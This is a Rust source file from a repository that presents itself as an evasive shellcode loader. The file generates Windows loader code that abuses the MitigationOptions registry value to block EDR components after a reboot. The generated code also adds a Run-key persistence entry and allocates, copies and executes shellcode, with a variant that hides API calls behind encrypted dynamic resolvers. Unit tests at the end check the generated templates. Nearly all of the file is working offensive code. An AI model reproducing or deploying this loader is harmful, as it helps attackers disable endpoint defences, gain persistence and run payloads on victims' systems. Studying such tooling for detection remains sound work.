myph-v2.git


myph-v2

~ rust shellcode loader with evasive capabilities
git clone https://github.com/djnnvx/myph-v2.git
log | files | refs | archive | README

fairy_law.rs (24884B)

      1 pub fn fairy_law_import() -> String {
      2     r#"
      3 use std::ptr;
      4 "#
      5     .to_string()
      6 }
      7 
      8 pub fn fairy_law_const() -> String {
      9     format!(
     10         r#"
     11 {}
     12 
     13 const TOKEN_QUERY: u32 = 0x0008;
     14 const TOKEN_ELEVATION: u32 = 20;
     15 const HKEY_CURRENT_USER: isize = 0x80000001u32 as isize;
     16 const HKEY_LOCAL_MACHINE: isize = 0x80000002u32 as isize;
     17 const KEY_SET_VALUE: u32 = 0x0002;
     18 const KEY_WRITE: u32 = 0x20006;
     19 const KEY_READ: u32 = 0x20019;
     20 const REG_SZ: u32 = 1;
     21 const REG_BINARY: u32 = 3;
     22 const REG_OPTION_NON_VOLATILE: u32 = 0;
     23 const ERROR_SUCCESS: i32 = 0;
     24 const MAX_PATH: usize = 260;
     25 
     26 #[repr(C)]
     27 struct TokenElevation {{
     28     token_is_elevated: u32,
     29 }}
     30 
     31 #[repr(C)]
     32 struct ProcessMitigationBinarySignaturePolicy {{
     33     _bitfield: u32,
     34 }}
     35 
     36 const PROCESS_SIGNATURE_POLICY: u32 = 8;
     37 
     38 #[link(name = "kernel32")]
     39 extern "system" {{
     40     fn GetCurrentProcess() -> *mut c_void;
     41     
     42     fn OpenProcessToken(
     43         process_handle: *mut c_void,
     44         desired_access: u32,
     45         token_handle: *mut *mut c_void,
     46     ) -> i32;
     47     
     48     fn GetTokenInformation(
     49         token_handle: *mut c_void,
     50         token_information_class: u32,
     51         token_information: *mut c_void,
     52         token_information_length: u32,
     53         return_length: *mut u32,
     54     ) -> i32;
     55     
     56     fn CloseHandle(handle: *mut c_void) -> i32;
     57     
     58     fn GetModuleFileNameA(
     59         module: *mut c_void,
     60         filename: *mut u8,
     61         size: u32,
     62     ) -> u32;
     63     
     64     fn GetProcessMitigationPolicy(
     65         process: *mut c_void,
     66         mitigation_policy: u32,
     67         buffer: *mut c_void,
     68         size: usize,
     69     ) -> i32;
     70 }}
     71 
     72 #[link(name = "advapi32")]
     73 extern "system" {{
     74     fn RegOpenKeyExA(
     75         key: isize,
     76         sub_key: *const i8,
     77         options: u32,
     78         desired: u32,
     79         result: *mut isize,
     80     ) -> i32;
     81     
     82     fn RegSetValueExA(
     83         key: isize,
     84         value_name: *const i8,
     85         reserved: u32,
     86         value_type: u32,
     87         data: *const u8,
     88         data_size: u32,
     89     ) -> i32;
     90     
     91     fn RegCreateKeyExA(
     92         key: isize,
     93         sub_key: *const i8,
     94         reserved: u32,
     95         class: *const i8,
     96         options: u32,
     97         desired: u32,
     98         security_attributes: *mut c_void,
     99         result: *mut isize,
    100         disposition: *mut u32,
    101     ) -> i32;
    102     
    103     fn RegCloseKey(key: isize) -> i32;
    104 }}
    105 
    106 #[link(name = "ntdll")]
    107 extern "system" {{
    108     fn RtlCopyMemory(
    109         destination: *mut c_void,
    110         source: *const c_void,
    111         length: usize,
    112     );
    113 }}
    114 "#,
    115         super::common::COMMON_MEMORY_CONSTANTS
    116     )
    117 }
    118 
    119 pub fn fairy_law_init() -> String {
    120     String::new()
    121 }
    122 
    123 fn generate_is_process_elevated() -> String {
    124     r#"
    125 fn is_process_elevated() -> bool {
    126     unsafe {
    127         let mut token: *mut std::ffi::c_void = ptr::null_mut();
    128         
    129         if OpenProcessToken(GetCurrentProcess(), TOKEN_QUERY, &mut token) == 0 {
    130             return false;
    131         }
    132         
    133         let mut elevation = TokenElevation { token_is_elevated: 0 };
    134         let mut size: u32 = 0;
    135         
    136         let result = GetTokenInformation(
    137             token,
    138             TOKEN_ELEVATION,
    139             &mut elevation as *mut _ as *mut std::ffi::c_void,
    140             std::mem::size_of::<TokenElevation>() as u32,
    141             &mut size,
    142         );
    143         
    144         CloseHandle(token);
    145         
    146         result != 0 && elevation.token_is_elevated != 0
    147     }
    148 }
    149 "#
    150     .to_string()
    151 }
    152 
    153 fn generate_check_mitigation_policy() -> String {
    154     r#"
    155 fn check_mitigation_policy_enabled() -> bool {
    156     unsafe {
    157         let mut sig = ProcessMitigationBinarySignaturePolicy { _bitfield: 0 };
    158         
    159         let result = GetProcessMitigationPolicy(
    160             GetCurrentProcess(),
    161             PROCESS_SIGNATURE_POLICY,
    162             &mut sig as *mut _ as *mut std::ffi::c_void,
    163             std::mem::size_of::<ProcessMitigationBinarySignaturePolicy>(),
    164         );
    165         
    166         if result == 0 {
    167             return false;
    168         }
    169         
    170         (sig._bitfield & 1) != 0
    171     }
    172 }
    173 "#
    174     .to_string()
    175 }
    176 
    177 fn generate_enable_mitigation_policy() -> String {
    178     r#"
    179 fn enable_mitigation_policy() -> bool {
    180     unsafe {
    181         let subkey = b"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\kernel\0";
    182         let value_name = b"MitigationOptions\0";
    183         
    184         let mitigation_value: [u8; 20] = [
    185             0x00, 0x01, 0x00, 0x00,
    186             0x00, 0x00, 0x00, 0x00,
    187             0x00, 0x00, 0x00, 0x00,
    188             0x00, 0x00, 0x00, 0x00,
    189             0x00, 0x00, 0x00, 0x00,
    190         ];
    191         
    192         let mut key: isize = 0;
    193         let mut disposition: u32 = 0;
    194         
    195         let result = RegCreateKeyExA(
    196             HKEY_LOCAL_MACHINE,
    197             subkey.as_ptr() as *const i8,
    198             0,
    199             ptr::null(),
    200             REG_OPTION_NON_VOLATILE,
    201             KEY_WRITE | KEY_READ,
    202             ptr::null_mut(),
    203             &mut key,
    204             &mut disposition,
    205         );
    206         
    207         if result != ERROR_SUCCESS {
    208             return false;
    209         }
    210         
    211         let set_result = RegSetValueExA(
    212             key,
    213             value_name.as_ptr() as *const i8,
    214             0,
    215             REG_BINARY,
    216             mitigation_value.as_ptr(),
    217             mitigation_value.len() as u32,
    218         );
    219         
    220         RegCloseKey(key);
    221         
    222         set_result == ERROR_SUCCESS
    223     }
    224 }
    225 "#
    226     .to_string()
    227 }
    228 
    229 fn generate_add_to_startup() -> String {
    230     r#"
    231 fn add_to_startup() -> bool {
    232     unsafe {
    233         let mut exe_path = [0u8; MAX_PATH];
    234         let len = GetModuleFileNameA(ptr::null_mut(), exe_path.as_mut_ptr(), MAX_PATH as u32);
    235         
    236         if len == 0 {
    237             return false;
    238         }
    239         
    240         let mut filename_start = 0;
    241         let mut filename_end = len as usize;
    242         
    243         for i in (0..len as usize).rev() {
    244             if exe_path[i] == b'\\' || exe_path[i] == b'/' {
    245                 filename_start = i + 1;
    246                 break;
    247             }
    248         }
    249         
    250         for i in filename_start..len as usize {
    251             if exe_path[i] == b'.' {
    252                 filename_end = i;
    253                 break;
    254             }
    255         }
    256         
    257         let mut value_name = [0u8; MAX_PATH];
    258         let name_len = filename_end - filename_start;
    259         if name_len == 0 || name_len >= MAX_PATH - 1 {
    260             return false;
    261         }
    262         
    263         for i in 0..name_len {
    264             value_name[i] = exe_path[filename_start + i];
    265         }
    266         value_name[name_len] = 0;
    267         
    268         let subkey = b"Software\\Microsoft\\Windows\\CurrentVersion\\Run\0";
    269         
    270         let mut key: isize = 0;
    271         
    272         let result = RegOpenKeyExA(
    273             HKEY_CURRENT_USER,
    274             subkey.as_ptr() as *const i8,
    275             0,
    276             KEY_SET_VALUE,
    277             &mut key,
    278         );
    279         
    280         if result != ERROR_SUCCESS {
    281             return false;
    282         }
    283         
    284         let set_result = RegSetValueExA(
    285             key,
    286             value_name.as_ptr() as *const i8,
    287             0,
    288             REG_SZ,
    289             exe_path.as_ptr(),
    290             len + 1,
    291         );
    292         
    293         RegCloseKey(key);
    294         
    295         set_result == ERROR_SUCCESS
    296     }
    297 }
    298 "#
    299     .to_string()
    300 }
    301 
    302 fn generate_execute_shellcode() -> String {
    303     r#"
    304 fn execute_shellcode(shellcode: &[u8]) {
    305     unsafe {
    306         let addr = VirtualAlloc(
    307             ptr::null_mut(),
    308             shellcode.len(),
    309             MEM_COMMIT | MEM_RESERVE,
    310             PAGE_READWRITE,
    311         );
    312         
    313         if addr.is_null() {
    314             panic!("failed");
    315         }
    316         
    317         RtlCopyMemory(
    318             addr,
    319             shellcode.as_ptr() as *const std::ffi::c_void,
    320             shellcode.len(),
    321         );
    322         
    323         let mut old_protect: u32 = PAGE_READWRITE;
    324         let result = VirtualProtect(addr, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect);
    325         
    326         if result == 0 {
    327             panic!("failed");
    328         }
    329         
    330         let shellcode_fn: unsafe extern "system" fn() = std::mem::transmute(addr);
    331         shellcode_fn();
    332     }
    333 }
    334 "#
    335     .to_string()
    336 }
    337 
    338 pub fn fairy_law_process() -> String {
    339     format!(
    340         r#"
    341     {is_elevated_fn}
    342 
    343     {check_mitigation_fn}
    344 
    345     {enable_mitigation_fn}
    346 
    347     {add_startup_fn}
    348 
    349     {execute_shellcode_fn}
    350 
    351     if !check_mitigation_policy_enabled() {{
    352         if !is_process_elevated() {{
    353             eprintln!("[!] This binary must be run with Administrator privileges!");
    354             panic!("failed");
    355         }}
    356         
    357         if !enable_mitigation_policy() {{
    358             eprintln!("[!] Failed to enable MicrosoftSignedOnly policy!");
    359             panic!("failed");
    360         }}
    361         
    362         if !add_to_startup() {{
    363             eprintln!("[!] Failed to add persistence!");
    364             panic!("failed");
    365         }}
    366         
    367         eprintln!("[+] MicrosoftSignedOnly policy enabled successfully!");
    368         eprintln!("[+] EDR components will be blocked after restart.");
    369         eprintln!("[+] System restart required. Please restart and run again.");
    370     }} else {{
    371         execute_shellcode(shellcode);
    372     }}
    373 "#,
    374         is_elevated_fn = generate_is_process_elevated(),
    375         check_mitigation_fn = generate_check_mitigation_policy(),
    376         enable_mitigation_fn = generate_enable_mitigation_policy(),
    377         add_startup_fn = generate_add_to_startup(),
    378         execute_shellcode_fn = generate_execute_shellcode(),
    379     )
    380 }
    381 
    382 fn generate_fairy_law_template(function_name: &str) -> String {
    383     super::common::TechniqueTemplateBuilder::new()
    384         .with_import(fairy_law_import())
    385         .with_const(fairy_law_const())
    386         .with_init(fairy_law_init())
    387         .with_process(fairy_law_process())
    388         .build(function_name)
    389 }
    390 
    391 pub fn generate_fairy_law_code(function_name: &str) -> String {
    392     generate_fairy_law_template(function_name)
    393 }
    394 
    395 fn fairy_law_process_with_dynamic_resolver(
    396     encryptor: &dyn crate::encryption::Encryptor,
    397 ) -> Result<String, String> {
    398     use super::dynamic_common::*;
    399 
    400     let virtual_alloc = virtual_alloc_resolver(encryptor)?;
    401     let virtual_protect = virtual_protect_resolver(encryptor)?;
    402     let rtl_copy_memory = rtl_copy_memory_resolver(encryptor)?;
    403     let get_current_process = get_current_process_resolver(encryptor)?;
    404     let open_process_token = open_process_token_resolver(encryptor)?;
    405     let get_token_information = get_token_information_resolver(encryptor)?;
    406     let close_handle = close_handle_resolver(encryptor)?;
    407     let get_module_file_name_a = get_module_file_name_a_resolver(encryptor)?;
    408     let reg_open_key_ex_a = reg_open_key_ex_a_resolver(encryptor)?;
    409     let reg_set_value_ex_a = reg_set_value_ex_a_resolver(encryptor)?;
    410     let reg_create_key_ex_a = reg_create_key_ex_a_resolver(encryptor)?;
    411     let reg_close_key = reg_close_key_resolver(encryptor)?;
    412     let get_process_mitigation_policy = get_process_mitigation_policy_resolver(encryptor)?;
    413 
    414     Ok(format!(
    415         r#"
    416     unsafe {{
    417         {get_current_process_resolver}
    418         {get_current_process_cast}
    419 
    420         {open_process_token_resolver}
    421         {open_process_token_cast}
    422 
    423         {get_token_information_resolver}
    424         {get_token_information_cast}
    425 
    426         {close_handle_resolver}
    427         {close_handle_cast}
    428 
    429         {get_process_mitigation_policy_resolver}
    430         {get_process_mitigation_policy_cast}
    431 
    432         {reg_create_key_ex_a_resolver}
    433         {reg_create_key_ex_a_cast}
    434 
    435         {reg_set_value_ex_a_resolver}
    436         {reg_set_value_ex_a_cast}
    437 
    438         {reg_close_key_resolver}
    439         {reg_close_key_cast}
    440 
    441         {get_module_file_name_a_resolver}
    442         {get_module_file_name_a_cast}
    443 
    444         {reg_open_key_ex_a_resolver}
    445         {reg_open_key_ex_a_cast}
    446 
    447         {virtual_alloc_resolver}
    448         {virtual_alloc_cast}
    449 
    450         {rtl_copy_memory_resolver}
    451         {rtl_copy_memory_cast}
    452 
    453         {virtual_protect_resolver}
    454         {virtual_protect_cast}
    455 
    456         let mut sig = ProcessMitigationBinarySignaturePolicy {{ _bitfield: 0 }};
    457         let result = get_process_mitigation_policy(
    458             get_current_process(),
    459             PROCESS_SIGNATURE_POLICY,
    460             &mut sig as *mut _ as *mut std::ffi::c_void,
    461             std::mem::size_of::<ProcessMitigationBinarySignaturePolicy>(),
    462         );
    463 
    464         let policy_enabled = result != 0 && (sig._bitfield & 1) != 0;
    465 
    466         if !policy_enabled {{
    467             let mut token: *mut std::ffi::c_void = ptr::null_mut();
    468             
    469             if open_process_token(get_current_process(), TOKEN_QUERY, &mut token) == 0 {{
    470                 eprintln!("[!] This binary must be run with Administrator privileges!");
    471                 panic!("failed");
    472             }}
    473             
    474             let mut elevation = TokenElevation {{ token_is_elevated: 0 }};
    475             let mut size: u32 = 0;
    476             
    477             let token_result = get_token_information(
    478                 token,
    479                 TOKEN_ELEVATION,
    480                 &mut elevation as *mut _ as *mut std::ffi::c_void,
    481                 std::mem::size_of::<TokenElevation>() as u32,
    482                 &mut size,
    483             );
    484             
    485             close_handle(token);
    486             
    487             if token_result == 0 || elevation.token_is_elevated == 0 {{
    488                 eprintln!("[!] This binary must be run with Administrator privileges!");
    489                 panic!("failed");
    490             }}
    491 
    492             let subkey = b"SYSTEM\\CurrentControlSet\\Control\\Session Manager\\kernel\0";
    493             let value_name = b"MitigationOptions\0";
    494             
    495             let mitigation_value: [u8; 20] = [
    496                 0x00, 0x01, 0x00, 0x00,
    497                 0x00, 0x00, 0x00, 0x00,
    498                 0x00, 0x00, 0x00, 0x00,
    499                 0x00, 0x00, 0x00, 0x00,
    500                 0x00, 0x00, 0x00, 0x00,
    501             ];
    502             
    503             let mut key: isize = 0;
    504             let mut disposition: u32 = 0;
    505             
    506             let create_result = reg_create_key_ex_a(
    507                 HKEY_LOCAL_MACHINE,
    508                 subkey.as_ptr() as *const i8,
    509                 0,
    510                 ptr::null(),
    511                 REG_OPTION_NON_VOLATILE,
    512                 KEY_WRITE | KEY_READ,
    513                 ptr::null_mut(),
    514                 &mut key,
    515                 &mut disposition,
    516             );
    517             
    518             if create_result != ERROR_SUCCESS {{
    519                 eprintln!("[!] Failed to enable MicrosoftSignedOnly policy!");
    520                 panic!("failed");
    521             }}
    522             
    523             let set_result = reg_set_value_ex_a(
    524                 key,
    525                 value_name.as_ptr() as *const i8,
    526                 0,
    527                 REG_BINARY,
    528                 mitigation_value.as_ptr(),
    529                 mitigation_value.len() as u32,
    530             );
    531             
    532             reg_close_key(key);
    533             
    534             if set_result != ERROR_SUCCESS {{
    535                 eprintln!("[!] Failed to enable MicrosoftSignedOnly policy!");
    536                 panic!("failed");
    537             }}
    538 
    539             let mut exe_path = [0u8; MAX_PATH];
    540             let len = get_module_file_name_a(ptr::null_mut(), exe_path.as_mut_ptr(), MAX_PATH as u32);
    541             
    542             if len > 0 {{
    543                 let mut filename_start = 0;
    544                 let mut filename_end = len as usize;
    545                 
    546                 for i in (0..len as usize).rev() {{
    547                     if exe_path[i] == b'\\' || exe_path[i] == b'/' {{
    548                         filename_start = i + 1;
    549                         break;
    550                     }}
    551                 }}
    552                 
    553                 for i in filename_start..len as usize {{
    554                     if exe_path[i] == b'.' {{
    555                         filename_end = i;
    556                         break;
    557                     }}
    558                 }}
    559                 
    560                 let mut value_name = [0u8; MAX_PATH];
    561                 let name_len = filename_end - filename_start;
    562                 if name_len > 0 && name_len < MAX_PATH - 1 {{
    563                     for i in 0..name_len {{
    564                         value_name[i] = exe_path[filename_start + i];
    565                     }}
    566                     value_name[name_len] = 0;
    567                     
    568                     let startup_subkey = b"Software\\Microsoft\\Windows\\CurrentVersion\\Run\0";
    569                     
    570                     let mut startup_key: isize = 0;
    571                     
    572                     let open_result = reg_open_key_ex_a(
    573                         HKEY_CURRENT_USER,
    574                         startup_subkey.as_ptr() as *const i8,
    575                         0,
    576                         KEY_SET_VALUE,
    577                         &mut startup_key,
    578                     );
    579                     
    580                     if open_result == ERROR_SUCCESS {{
    581                         reg_set_value_ex_a(
    582                             startup_key,
    583                             value_name.as_ptr() as *const i8,
    584                             0,
    585                             REG_SZ,
    586                             exe_path.as_ptr(),
    587                             len + 1,
    588                         );
    589                         
    590                         reg_close_key(startup_key);
    591                     }}
    592                 }}
    593             }}
    594             
    595             eprintln!("[+] MicrosoftSignedOnly policy enabled successfully!");
    596             eprintln!("[+] EDR components will be blocked after restart.");
    597             eprintln!("[+] System restart required. Please restart and run again.");
    598         }} else {{
    599             let addr = virtual_alloc(
    600                 ptr::null_mut(),
    601                 shellcode.len(),
    602                 MEM_COMMIT | MEM_RESERVE,
    603                 PAGE_READWRITE,
    604             );
    605 
    606             if addr.is_null() {{
    607                 panic!("failed");
    608             }}
    609 
    610             rtl_copy_memory(
    611                 addr,
    612                 shellcode.as_ptr() as *const std::ffi::c_void,
    613                 shellcode.len(),
    614             );
    615 
    616             let mut old_protect: u32 = PAGE_READWRITE;
    617             let protect_result = virtual_protect(addr, shellcode.len(), PAGE_EXECUTE_READ, &mut old_protect);
    618 
    619             if protect_result == 0 {{
    620                 panic!("failed");
    621             }}
    622 
    623             let shellcode_fn: unsafe extern "system" fn() = std::mem::transmute(addr);
    624             shellcode_fn();
    625         }}
    626     }}
    627 "#,
    628         get_current_process_resolver = get_current_process.resolver_code,
    629         get_current_process_cast = get_current_process.cast_code,
    630         open_process_token_resolver = open_process_token.resolver_code,
    631         open_process_token_cast = open_process_token.cast_code,
    632         get_token_information_resolver = get_token_information.resolver_code,
    633         get_token_information_cast = get_token_information.cast_code,
    634         close_handle_resolver = close_handle.resolver_code,
    635         close_handle_cast = close_handle.cast_code,
    636         get_module_file_name_a_resolver = get_module_file_name_a.resolver_code,
    637         get_module_file_name_a_cast = get_module_file_name_a.cast_code,
    638         reg_open_key_ex_a_resolver = reg_open_key_ex_a.resolver_code,
    639         reg_open_key_ex_a_cast = reg_open_key_ex_a.cast_code,
    640         reg_set_value_ex_a_resolver = reg_set_value_ex_a.resolver_code,
    641         reg_set_value_ex_a_cast = reg_set_value_ex_a.cast_code,
    642         reg_create_key_ex_a_resolver = reg_create_key_ex_a.resolver_code,
    643         reg_create_key_ex_a_cast = reg_create_key_ex_a.cast_code,
    644         reg_close_key_resolver = reg_close_key.resolver_code,
    645         reg_close_key_cast = reg_close_key.cast_code,
    646         get_process_mitigation_policy_resolver = get_process_mitigation_policy.resolver_code,
    647         get_process_mitigation_policy_cast = get_process_mitigation_policy.cast_code,
    648         virtual_alloc_resolver = virtual_alloc.resolver_code,
    649         virtual_alloc_cast = virtual_alloc.cast_code,
    650         rtl_copy_memory_resolver = rtl_copy_memory.resolver_code,
    651         rtl_copy_memory_cast = rtl_copy_memory.cast_code,
    652         virtual_protect_resolver = virtual_protect.resolver_code,
    653         virtual_protect_cast = virtual_protect.cast_code,
    654     ))
    655 }
    656 
    657 fn generate_fairy_law_template_with_dynamic_resolver(
    658     function_name: &str,
    659     _encryption_type: &str,
    660     encryptor: &dyn crate::encryption::Encryptor,
    661 ) -> Result<String, String> {
    662     let process_code = fairy_law_process_with_dynamic_resolver(encryptor)?;
    663 
    664     Ok(super::common::TechniqueTemplateBuilder::new()
    665         .with_import(fairy_law_import())
    666         .with_const(fairy_law_const())
    667         .with_init(fairy_law_init())
    668         .with_process(process_code)
    669         .build(function_name))
    670 }
    671 
    672 pub fn generate_fairy_law_code_with_dynamic_resolver(
    673     function_name: &str,
    674     encryption_type: &str,
    675     encryptor: &dyn crate::encryption::Encryptor,
    676 ) -> String {
    677     generate_fairy_law_template_with_dynamic_resolver(function_name, encryption_type, encryptor)
    678         .unwrap_or_else(|err| {
    679             panic!(
    680                 "Failed to generate Fairy-Law code with dynamic resolver (encryption: {}): {}",
    681                 encryption_type, err
    682             )
    683         })
    684 }
    685 
    686 pub struct FairyLawGenerator;
    687 
    688 impl super::trait_generator::TechniqueGenerator for FairyLawGenerator {
    689     fn generate_code(&self, _process: &str, function_name: &str) -> String {
    690         generate_fairy_law_code(function_name)
    691     }
    692 
    693     fn generate_code_with_dynamic_resolver(
    694         &self,
    695         _process: &str,
    696         function_name: &str,
    697         encryption_type: &str,
    698         encryptor: &dyn crate::encryption::Encryptor,
    699     ) -> String {
    700         generate_fairy_law_code_with_dynamic_resolver(function_name, encryption_type, encryptor)
    701     }
    702 
    703     fn requires_process(&self) -> bool {
    704         false
    705     }
    706 
    707     fn name(&self) -> &'static str {
    708         "Fairy-Law"
    709     }
    710 }
    711 
    712 #[cfg(test)]
    713 mod tests {
    714     use super::*;
    715 
    716     #[test]
    717     fn test_generate_fairy_law_template_contains_all_parts() {
    718         let template = generate_fairy_law_template("MyFunction");
    719         assert!(template.contains("use std::ptr"));
    720         assert!(template.contains("fn MyFunction"));
    721         assert!(template.contains("is_process_elevated"));
    722         assert!(template.contains("OpenProcessToken"));
    723         assert!(template.contains("RegSetValueExA"));
    724         assert!(template.contains("eprintln!"));
    725     }
    726 
    727     #[test]
    728     fn test_generate_fairy_law_code() {
    729         let code = generate_fairy_law_code("MyRandomFunc");
    730         assert!(code.contains("fn MyRandomFunc"));
    731         assert!(code.contains("check_mitigation_policy_enabled"));
    732         assert!(code.contains("enable_mitigation_policy"));
    733     }
    734 
    735     #[test]
    736     fn test_fairy_law_does_not_use_process_param() {
    737         let code = generate_fairy_law_code("TestFunc");
    738         assert!(!code.contains("{{PROCESS}}"));
    739     }
    740 
    741     #[test]
    742     fn test_elevation_check_function() {
    743         let code = generate_fairy_law_code("TestFunc");
    744         assert!(code.contains("fn is_process_elevated() -> bool"));
    745         assert!(code.contains("TOKEN_QUERY"));
    746         assert!(code.contains("GetTokenInformation"));
    747     }
    748 
    749     #[test]
    750     fn test_mitigation_policy_check() {
    751         let code = generate_fairy_law_code("TestFunc");
    752         assert!(code.contains("fn check_mitigation_policy_enabled() -> bool"));
    753         assert!(code.contains("GetProcessMitigationPolicy"));
    754         assert!(code.contains("PROCESS_SIGNATURE_POLICY"));
    755     }
    756 
    757     #[test]
    758     fn test_registry_modification() {
    759         let code = generate_fairy_law_code("TestFunc");
    760         assert!(code.contains("fn enable_mitigation_policy() -> bool"));
    761         assert!(code.contains("RegCreateKeyExA"));
    762         assert!(code.contains("MitigationOptions"));
    763     }
    764 
    765     #[test]
    766     fn test_startup_persistence() {
    767         let code = generate_fairy_law_code("TestFunc");
    768         assert!(code.contains("fn add_to_startup() -> bool"));
    769         assert!(code.contains("RegOpenKeyExA"));
    770         assert!(code.contains("CurrentVersion"));
    771     }
    772 
    773     #[test]
    774     fn test_warning_messages() {
    775         let code = generate_fairy_law_code("TestFunc");
    776         assert!(code.contains("eprintln!"));
    777         assert!(code.contains("Administrator privileges"));
    778         assert!(code.contains("System restart required"));
    779     }
    780 
    781     #[test]
    782     fn test_no_print_warning_function() {
    783         let code = generate_fairy_law_code("TestFunc");
    784         assert!(!code.contains("fn print_warning"));
    785     }
    786 
    787     #[test]
    788     fn test_shellcode_execution() {
    789         let code = generate_fairy_law_code("TestFunc");
    790         assert!(code.contains("fn execute_shellcode"));
    791         assert!(code.contains("VirtualAlloc"));
    792         assert!(code.contains("VirtualProtect"));
    793     }
    794 
    795     #[test]
    796     fn test_no_automatic_uac() {
    797         let code = generate_fairy_law_code("TestFunc");
    798         assert!(!code.contains("ShellExecuteExA"));
    799         assert!(!code.contains("runas"));
    800     }
    801 
    802     #[test]
    803     fn test_no_automatic_restart() {
    804         let code = generate_fairy_law_code("TestFunc");
    805         assert!(!code.contains("Restart-Computer"));
    806         assert!(!code.contains("powershell.exe"));
    807     }
    808 }